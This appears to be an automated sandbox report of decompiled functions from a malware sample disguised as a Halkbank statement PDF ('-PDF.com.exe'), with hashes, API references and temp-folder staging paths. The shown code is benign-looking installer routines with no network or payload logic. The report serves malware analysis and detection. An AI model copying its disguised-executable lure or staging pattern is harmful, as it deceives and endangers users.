Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 2f5760c81b9bdb573da93a40119b3bcbbfe2770e9a6cbc48a05e82d61b54c679
Instruction ID: 37c7ba0f9c491dd7f389852fcb35a119484072d927876f68e32cbd91f0a54eef
Opcode Fuzzy Hash: 2f5760c81b9bdb573da93a40119b3bcbbfe2770e9a6cbc48a05e82d61b54c679
Instruction Fuzzy Hash: 6D216B7150010ABBDF11AF94CE89EEF7B7DEB50384F110076F909B21E0D7B49E54AA68

Uniqueness

Uniqueness Score: -1.00%

Function 00401D81 Relevance: 7.6, APIs: 5, Instructions: 75
windowCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00401D81(void* __ebx, void* __edx) {
				struct HWND__* _t30;
				WCHAR* _t38;
				void* _t48;
				void* _t53;
				signed int _t55;
				signed int _t60;
				long _t63;
				void* _t65;

				_t53 = __ebx;
				if(( *(_t65 - 0x23) & 0x00000001) == 0) {
					_t30 = GetDlgItem( *(_t65 - 8),  *(_t65 - 0x28));
				} else {
					E00402D84(2);
					 *((intOrPtr*)(__ebp - 0x10)) = __edx;
				}
				_t55 =  *(_t65 - 0x24);
				 *(_t65 + 8) = _t30;
				_t60 = _t55 & 0x00000004;
				 *(_t65 - 0x38) = _t55 & 0x00000003;
				 *(_t65 - 0x18) = _t55 >> 0x1f;
				 *(_t65 - 0x40) = _t55 >> 0x0000001e & 0x00000001;
				if((_t55 & 0x00010000) == 0) {
					_t38 =  *(_t65 - 0x2c) & 0x0000ffff;
				} else {
					_t38 = E00402DA6(0x11);
				}
				 *(_t65 - 0x44) = _t38;
				GetClientRect( *(_t65 + 8), _t65 - 0x60);
				asm("sbb esi, esi");
				_t63 = LoadImageW( ~_t60 &  *0x42a260,  *(_t65 - 0x44),  *(_t65 - 0x38),  *(_t65 - 0x58) *  *(_t65 - 0x18),  *(_t65 - 0x54) *  *(_t65 - 0x40),  *(_t65 - 0x24) & 0x0000fef0);
				_t48 = SendMessageW( *(_t65 + 8), 0x172,  *(_t65 - 0x38), _t63);
				if(_t48 != _t53 &&  *(_t65 - 0x38) == _t53) {
					DeleteObject(_t48);
				}
				if( *((intOrPtr*)(_t65 - 0x30)) >= _t53) {
					_push(_t63);
					E004065AF();
				}
				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t65 - 4));
				return 0;
			}

0x00401d81
0x00401d85
0x00401d9a
0x00401d87
0x00401d89
0x00401d8f
0x00401d8f
0x00401da0
0x00401da3
0x00401dad
0x00401db0
0x00401db8
0x00401dc9
0x00401dcc
0x00401dd7
0x00401dce
0x00401dd0
0x00401dd0
0x00401ddb
0x00401de5
0x00401e0c
0x00401e1b
0x00401e29
0x00401e31
0x00401e39
0x00401e39
0x00401e42
0x00401e48
0x00402ba4
0x00402ba4
0x00402c2d
0x00402c39

APIs

GetDlgItem.USER32 ref: 00401D9A
GetClientRect.USER32 ref: 00401DE5
LoadImageW.USER32 ref: 00401E15
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E29
DeleteObject.GDI32(00000000), ref: 00401E39

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 100b3177012869429c2005611ce111630833f28d1ab152a2d5a2575cfc39775b
Instruction ID: 4d725fdcf847a80329c23b38d7164c003567f542edd6fcacfb34c9ebeef40da9
Opcode Fuzzy Hash: 100b3177012869429c2005611ce111630833f28d1ab152a2d5a2575cfc39775b
Instruction Fuzzy Hash: 67212672904119AFCB05CBA4DE45AEEBBB5EF08304F14003AF945F62A0CB389951DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00401E4E Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00401E4E(intOrPtr __edx) {
				void* __edi;
				int _t9;
				signed char _t15;
				struct HFONT__* _t18;
				intOrPtr _t30;
				void* _t31;
				struct HDC__* _t33;
				void* _t35;

				_t30 = __edx;
				_t33 = GetDC( *(_t35 - 8));
				_t9 = E00402D84(2);
				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
				0x40cdf8->lfHeight =  ~(MulDiv(_t9, GetDeviceCaps(_t33, 0x5a), 0x48));
				ReleaseDC( *(_t35 - 8), _t33);
				 *0x40ce08 = E00402D84(3);
				_t15 =  *((intOrPtr*)(_t35 - 0x20));
				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
				 *0x40ce0f = 1;
				 *0x40ce0c = _t15 & 0x00000001;
				 *0x40ce0d = _t15 & 0x00000002;
				 *0x40ce0e = _t15 & 0x00000004;
				E004066A5(_t9, _t31, _t33, 0x40ce14,  *((intOrPtr*)(_t35 - 0x2c)));
				_t18 = CreateFontIndirectW(0x40cdf8);
				_push(_t18);
				_push(_t31);
				E004065AF();
				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t35 - 4));
				return 0;
			}

0x00401e4e
0x00401e59
0x00401e5b
0x00401e68
0x00401e7f
0x00401e84
0x00401e91
0x00401e96
0x00401e9a
0x00401ea5
0x00401eac
0x00401ebe
0x00401ec4
0x00401ec9
0x00401ed3
0x00402638
0x0040156d
0x00402ba4
0x00402c2d
0x00402c39

APIs

GetDC.USER32(?), ref: 00401E51
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E6B
MulDiv.KERNEL32(00000000,00000000), ref: 00401E73
ReleaseDC.USER32 ref: 00401E84

Part of subcall function 004066A5: lstrcatW.KERNEL32("C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf,\Microsoft\Internet Explorer\Quick Launch), ref: 0040684A
Part of subcall function 004066A5: lstrlenW.KERNEL32("C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf,00000000,00422728,?,00405701,00422728,00000000), ref: 004068A4

CreateFontIndirectW.GDI32(0040CDF8), ref: 00401ED3

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectReleaselstrcatlstrlen
String ID:
API String ID: 2584051700-0
Opcode ID: da8e727cde32dbac5ba0c7db49ef74d213bcb2a0e3f4fe6d3c107a90d4fe1e84
Instruction ID: b9cc094806d22c325402cb6ccb5f5134c2025175c414775df3ff87de861ccae2
Opcode Fuzzy Hash: da8e727cde32dbac5ba0c7db49ef74d213bcb2a0e3f4fe6d3c107a90d4fe1e84
Instruction Fuzzy Hash: 8401B571900241EFEB005BB4EE89A9A3FB0AB15301F208939F541B71D2C6B904459BED

Uniqueness

Uniqueness Score: -1.00%

Function 00401C43 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401C43(intOrPtr __edx) {
				int _t29;
				long _t30;
				signed int _t32;
				WCHAR* _t35;
				long _t36;
				int _t41;
				signed int _t42;
				int _t46;
				int _t56;
				intOrPtr _t57;
				struct HWND__* _t63;
				void* _t64;

				_t57 = __edx;
				_t29 = E00402D84(3);
				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
				 *(_t64 - 0x18) = _t29;
				_t30 = E00402D84(4);
				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
				 *(_t64 + 8) = _t30;
				if(( *(_t64 - 0x1c) & 0x00000001) != 0) {
					 *((intOrPtr*)(__ebp - 0x18)) = E00402DA6(0x33);
				}
				__eflags =  *(_t64 - 0x1c) & 0x00000002;
				if(( *(_t64 - 0x1c) & 0x00000002) != 0) {
					 *(_t64 + 8) = E00402DA6(0x44);
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x34)) - 0x21;
				_push(1);
				if(__eflags != 0) {
					_t61 = E00402DA6();
					_t32 = E00402DA6();
					asm("sbb ecx, ecx");
					asm("sbb eax, eax");
					_t35 =  ~( *_t31) & _t61;
					__eflags = _t35;
					_t36 = FindWindowExW( *(_t64 - 0x18),  *(_t64 + 8), _t35,  ~( *_t32) & _t32);
					goto L10;
				} else {
					_t63 = E00402D84();
					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
					_t41 = E00402D84(2);
					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
					_t56 =  *(_t64 - 0x1c) >> 2;
					if(__eflags == 0) {
						_t36 = SendMessageW(_t63, _t41,  *(_t64 - 0x18),  *(_t64 + 8));
						L10:
						 *(_t64 - 0x38) = _t36;
					} else {
						_t42 = SendMessageTimeoutW(_t63, _t41,  *(_t64 - 0x18),  *(_t64 + 8), _t46, _t56, _t64 - 0x38);
						asm("sbb eax, eax");
						 *((intOrPtr*)(_t64 - 4)) =  ~_t42 + 1;
					}
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x30)) - _t46;
				if( *((intOrPtr*)(_t64 - 0x30)) >= _t46) {
					_push( *(_t64 - 0x38));
					E004065AF();
				}
				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t64 - 4));
				return 0;
			}

0x00401c43
0x00401c45
0x00401c4c
0x00401c4f
0x00401c52
0x00401c5c
0x00401c60
0x00401c63
0x00401c6c
0x00401c6c
0x00401c6f
0x00401c73
0x00401c7c
0x00401c7c
0x00401c7f
0x00401c83
0x00401c85
0x00401cda
0x00401cdc
0x00401ce7
0x00401cf1
0x00401cf4
0x00401cf4
0x00401cfd
0x00000000
0x00401c87
0x00401c8e
0x00401c90
0x00401c93
0x00401c99
0x00401ca0
0x00401ca3
0x00401ccb
0x00401d03
0x00401d03
0x00401ca5
0x00401cb3
0x00401cbb
0x00401cbe
0x00401cbe
0x00401ca3
0x00401d06
0x00401d09
0x00401d0f
0x00402ba4
0x00402ba4
0x00402c2d
0x00402c39

APIs

SendMessageTimeoutW.USER32 ref: 00401CB3
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CCB

Strings

!, xrefs: 00401C7F

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: b183ccb6ab3284ced798d12f720e161a9248df31e23c89b80f307d5b894ef539
Instruction ID: e1c20d37316975b9b94706f7b3abd8da4b7b3b5136eece5bd2aa3cbae88a6c19
Opcode Fuzzy Hash: b183ccb6ab3284ced798d12f720e161a9248df31e23c89b80f307d5b894ef539
Instruction Fuzzy Hash: 28219E7190420AEFEF05AFA4D94AAAE7BB4FF44304F14453EF601B61D0D7B88941CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00406536 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44
registryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00406536(void* __ecx, void* __eflags, char _a4, int _a8, short* _a12, char* _a16, signed int _a20) {
				int _v8;
				long _t21;
				long _t24;
				char* _t30;

				asm("sbb eax, eax");
				_v8 = 0x800;
				_t5 =  &_a4; // 0x422728
				_t21 = E004064D5(__eflags,  *_t5, _a8,  ~_a20 & 0x00000100 | 0x00020019,  &_a20);
				_t30 = _a16;
				if(_t21 != 0) {
					L4:
					 *_t30 =  *_t30 & 0x00000000;
				} else {
					_t24 = RegQueryValueExW(_a20, _a12, 0,  &_a8, _t30,  &_v8);
					_t21 = RegCloseKey(_a20);
					_t30[0x7fe] = _t30[0x7fe] & 0x00000000;
					if(_t24 != 0 || _a8 != 1 && _a8 != 2) {
						goto L4;
					}
				}
				return _t21;
			}

0x00406544
0x00406546
0x0040655b
0x0040655e
0x00406563
0x00406568
0x004065a6
0x004065a6
0x0040656a
0x0040657c
0x00406587
0x0040658d
0x00406598
0x00000000
0x00000000
0x00406598
0x004065ac

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,0040A230,00000000,('B,00000000,?,?,"C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf,?,?,0040679D,80000002), ref: 0040657C
RegCloseKey.ADVAPI32(?,?,0040679D,80000002,Software\Microsoft\Windows\CurrentVersion,"C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf,"C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf,"C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf,00000000,00422728), ref: 00406587

Strings

('B, xrefs: 0040655B
"C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf, xrefs: 0040653D

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: CloseQueryValue
String ID: "C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf$('B
API String ID: 3356406503-516527465
Opcode ID: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction ID: 52dd0fe420a7c1e2827d1a164217834099ee72e945ce70567094b216899e5676
Opcode Fuzzy Hash: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction Fuzzy Hash: C4017C72500209FADF21CF51DD09EDB3BA8EF54364F01803AFD1AA2190D738D964DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00405F37 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00405F37(WCHAR* _a4) {
				WCHAR* _t9;

				_t9 = _a4;
				_push( &(_t9[lstrlenW(_t9)]));
				_push(_t9);
				if( *(CharPrevW()) != 0x5c) {
					lstrcatW(_t9, 0x40a014);
				}
				return _t9;
			}

0x00405f38
0x00405f45
0x00405f46
0x00405f51
0x00405f59
0x00405f59
0x00405f61

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040362D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00405F3D
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040362D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00405F47
lstrcatW.KERNEL32(?,0040A014), ref: 00405F59

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405F37

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3081826266
Opcode ID: 7317fb0b60a0da6156192e69c80d181f5022b3d5f83b8f009beaa75eacd33bdb
Instruction ID: 9007417a49851ea4d61da9c71e51c63d156abd36d345156a737e00ee84923012
Opcode Fuzzy Hash: 7317fb0b60a0da6156192e69c80d181f5022b3d5f83b8f009beaa75eacd33bdb
Instruction Fuzzy Hash: 59D05E611019246AC111AB548D04DDB63ACAE85304742046AF601B60A0CB7E196287ED

Uniqueness

Uniqueness Score: -1.00%

Function 0040563E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E0040563E(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				int _t15;
				long _t16;

				_t15 = _a8;
				if(_t15 != 0x102) {
					if(_t15 != 0x200) {
						_t16 = _a16;
						L7:
						if(_t15 == 0x419 &&  *0x423734 != _t16) {
							_push(_t16);
							_push(6);
							 *0x423734 = _t16;
							E00404FFF();
						}
						L11:
						return CallWindowProcW( *0x42373c, _a4, _t15, _a12, _t16);
					}
					if(IsWindowVisible(_a4) == 0) {
						L10:
						_t16 = _a16;
						goto L11;
					}
					_t16 = E00404F7F(_a4, 1);
					_t15 = 0x419;
					goto L7;
				}
				if(_a12 != 0x20) {
					goto L10;
				}
				E00404610(0x413);
				return 0;
			}

0x00405642
0x0040564c
0x00405668
0x0040568a
0x0040568d
0x00405693
0x0040569d
0x0040569e
0x004056a0
0x004056a6
0x004056a6
0x004056b0
0x00000000
0x004056be
0x00405675
0x004056ad
0x004056ad
0x00000000
0x004056ad
0x00405681
0x00405683
0x00000000
0x00405683
0x00405652
0x00000000
0x00000000
0x00405659
0x00000000

APIs

IsWindowVisible.USER32(?), ref: 0040566D
CallWindowProcW.USER32(?,?,?,?), ref: 004056BE

Part of subcall function 00404610: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404622

Strings

, xrefs: 0040564E

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: a73dc4e993bde12ea44745026bd4b5676165c6f206d332bc9731ab0fc1b08652
Instruction ID: 537e1cae7e4c88fb21f4f8cfd237bdd46b0b38e99f2a5e053ca6ba0093d9a5c8
Opcode Fuzzy Hash: a73dc4e993bde12ea44745026bd4b5676165c6f206d332bc9731ab0fc1b08652
Instruction Fuzzy Hash: 4401B171200608AFEF205F11DD84A6B3A35EB84361F904837FA08752E0D77F8D929E6D

Uniqueness

Uniqueness Score: -1.00%

Function 00405F83 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00405F83(WCHAR* _a4) {
				WCHAR* _t5;
				WCHAR* _t7;

				_t7 = _a4;
				_t5 =  &(_t7[lstrlenW(_t7)]);
				while( *_t5 != 0x5c) {
					_push(_t5);
					_push(_t7);
					_t5 = CharPrevW();
					if(_t5 > _t7) {
						continue;
					}
					break;
				}
				 *_t5 =  *_t5 & 0x00000000;
				return  &(_t5[1]);
			}

0x00405f84
0x00405f8e
0x00405f91
0x00405f97
0x00405f98
0x00405f99
0x00405fa1
0x00000000
0x00000000
0x00000000
0x00405fa1
0x00405fa3
0x00405fab

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,0040313C,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe,C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe,80000000,00000003), ref: 00405F89
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,0040313C,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe,C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe,80000000,00000003), ref: 00405F99

Strings

C:\Users\user\Desktop, xrefs: 00405F83

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-224404859
Opcode ID: 176def5b2db9ef34a9f22db2929791273b03e08e07d7b66f37effa829582f156
Instruction ID: bd974b3f77e4b05eb9372a1ad14375fba7b947cfa10dd8d614d5bb7090e452f7
Opcode Fuzzy Hash: 176def5b2db9ef34a9f22db2929791273b03e08e07d7b66f37effa829582f156
Instruction Fuzzy Hash: 6CD05EB2401D219EC3126B04DC00D9F63ACEF51301B4A4866E441AB1A0DB7C5D9186A9

Uniqueness

Uniqueness Score: -1.00%

Function 004060BD Relevance: 5.0, APIs: 4, Instructions: 37
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004060BD(void* __ecx, CHAR* _a4, CHAR* _a8) {
				int _v8;
				int _t12;
				int _t14;
				int _t15;
				CHAR* _t17;
				CHAR* _t27;

				_t12 = lstrlenA(_a8);
				_t27 = _a4;
				_v8 = _t12;
				while(lstrlenA(_t27) >= _v8) {
					_t14 = _v8;
					 *(_t14 + _t27) =  *(_t14 + _t27) & 0x00000000;
					_t15 = lstrcmpiA(_t27, _a8);
					_t27[_v8] =  *(_t14 + _t27);
					if(_t15 == 0) {
						_t17 = _t27;
					} else {
						_t27 = CharNextA(_t27);
						continue;
					}
					L5:
					return _t17;
				}
				_t17 = 0;
				goto L5;
			}

0x004060cd
0x004060cf
0x004060d2
0x004060fe
0x004060d7
0x004060e0
0x004060e5
0x004060f0
0x004060f3
0x0040610f
0x004060f5
0x004060fc
0x00000000
0x004060fc
0x00406108
0x0040610c
0x0040610c
0x00406106
0x00000000

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060CD
lstrcmpiA.KERNEL32(00000000,00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060E5
CharNextA.USER32(00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060F6
lstrlenA.KERNEL32(00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060FF

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
